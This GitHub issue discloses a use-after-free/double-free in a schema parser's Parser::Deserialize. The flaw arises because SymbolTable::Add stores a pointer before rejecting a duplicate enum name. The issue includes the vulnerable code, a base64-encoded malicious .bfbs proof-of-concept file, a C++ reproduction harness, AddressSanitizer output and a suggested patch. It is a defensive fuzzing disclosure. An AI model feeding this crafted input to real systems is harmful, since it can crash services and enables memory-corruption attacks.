Skip to content

Use-after-free / double-free in Parser::Deserialize via SymbolTable duplicate handling #9009

@OwenSanzas

Description

@OwenSanzas

Summary

Parser::Deserialize() frees an EnumDef pointer during schema deserialization when a duplicate enum name is detected, but the pointer remains in SymbolTable::vec. When the Parser destructor runs, ~SymbolTable() iterates vec and deletes the already-freed pointer, causing use-after-free.

Root Cause

SymbolTable::Add() at idl.h:248 calls vec.emplace_back(e) before checking for duplicate names. When a duplicate is found, the caller deletes the pointer at idl_parser.cpp:4462, but it remains in vec. The destructor ~SymbolTable() at idl.h:242 iterates vec and deletes all entries, hitting the freed pointer.

Vulnerable Code (idl.h:245-250)

bool Add(const std::string &name, T *e) {
    vec.emplace_back(e);          // Always added to vec FIRST
    auto it = dict.find(name);
    if (it != dict.end()) return true;  // Duplicate! Caller deletes e, but e is in vec
    dict[name] = e;
    return false;
}

Destructor (idl.h:242-244)

~SymbolTable() {
    for (auto it = vec.begin(); it != vec.end(); ++it) {
        delete *it;  // Double-free on the already-deleted pointer
    }
}

PoC

# Generate PoC file (176 bytes, .bfbs schema with duplicate enum name)
import base64
poc = base64.b64decode("EAAAAEJGQlMIAAwABAAIAAgAAAAIAAAACAAAAAAAAAACAAAAMAAAABAAAAAMABAABAAIAAAADAAMAAAATAAAAEAAAAAoAAAADAASAAQACAAAAAwADAAAAEQAAAAoAAAAGAAAAAAABgAGAAUABgAAAAADBgAIAAcABgAAAAAAAAMAAAAAAAAAAA0AAABEdXBsaWNhdGVFbnVtAAAADQAAAER1cGxpY2F0ZUVudW0AAAA=")
open("poc.bfbs", "wb").write(poc)
// Minimal reproduction using public API
#include "flatbuffers/idl.h"
#include "flatbuffers/reflection_generated.h"
#include <fstream>
#include <vector>

int main(int argc, char* argv[]) {
    std::ifstream f(argv[1], std::ios::binary);
    std::vector<uint8_t> data((std::istreambuf_iterator<char>(f)), {});

    flatbuffers::Verifier verifier(data.data(), data.size());
    if (!reflection::VerifySchemaBuffer(verifier)) return 1;

    flatbuffers::Parser parser;
    parser.Deserialize(data.data(), data.size());
    // UAF triggers in ~Parser() -> ~SymbolTable() when parser goes out of scope
    return 0;
}

Build & run:

clang++ -fsanitize=address -g -O1 -DNDEBUG -I include \
    repro.cpp src/idl_parser.cpp src/idl_gen_text.cpp src/reflection.cpp src/util.cpp \
    -o repro
ASAN_OPTIONS=detect_leaks=0 ./repro poc.bfbs

Sanitizer Output

[ERROR] Schema deserialization failed
==PID==ERROR: AddressSanitizer: heap-use-after-free on address 0x5120000002e0
READ of size 8 at 0x5120000002e0 thread T0
    #0 in std::vector<flatbuffers::EnumVal*>::begin()
    #1 in flatbuffers::SymbolTable<flatbuffers::EnumVal>::~SymbolTable() idl.h:242
    #2 in flatbuffers::EnumDef::~EnumDef()
    #3 in flatbuffers::SymbolTable<flatbuffers::EnumDef>::~SymbolTable() idl.h:243
    #4 in flatbuffers::Parser::~Parser() idl.h:1042
    #5 in main repro.cpp

freed by thread T0 here:
    #0 in operator delete(void*, unsigned long)
    #1 in flatbuffers::Parser::Deserialize(reflection::Schema const*) idl_parser.cpp:4462

previously allocated by thread T0 here:
    #0 in operator new(unsigned long)
    #1 in flatbuffers::Parser::Deserialize(reflection::Schema const*) idl_parser.cpp:4460

SUMMARY: AddressSanitizer: heap-use-after-free idl.h:242 in ~SymbolTable

Suggested Fix

Move vec.emplace_back(e) after the duplicate check:

--- a/include/flatbuffers/idl.h
+++ b/include/flatbuffers/idl.h
 bool Add(const std::string &name, T *e) {
-    vec.emplace_back(e);
     auto it = dict.find(name);
-    if (it != dict.end()) return true;
+    if (it != dict.end()) return true;  // reject duplicate BEFORE adding to vec
+    vec.emplace_back(e);
     dict[name] = e;
     return false;
 }

Found by O2Lab FuzzingBrain.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions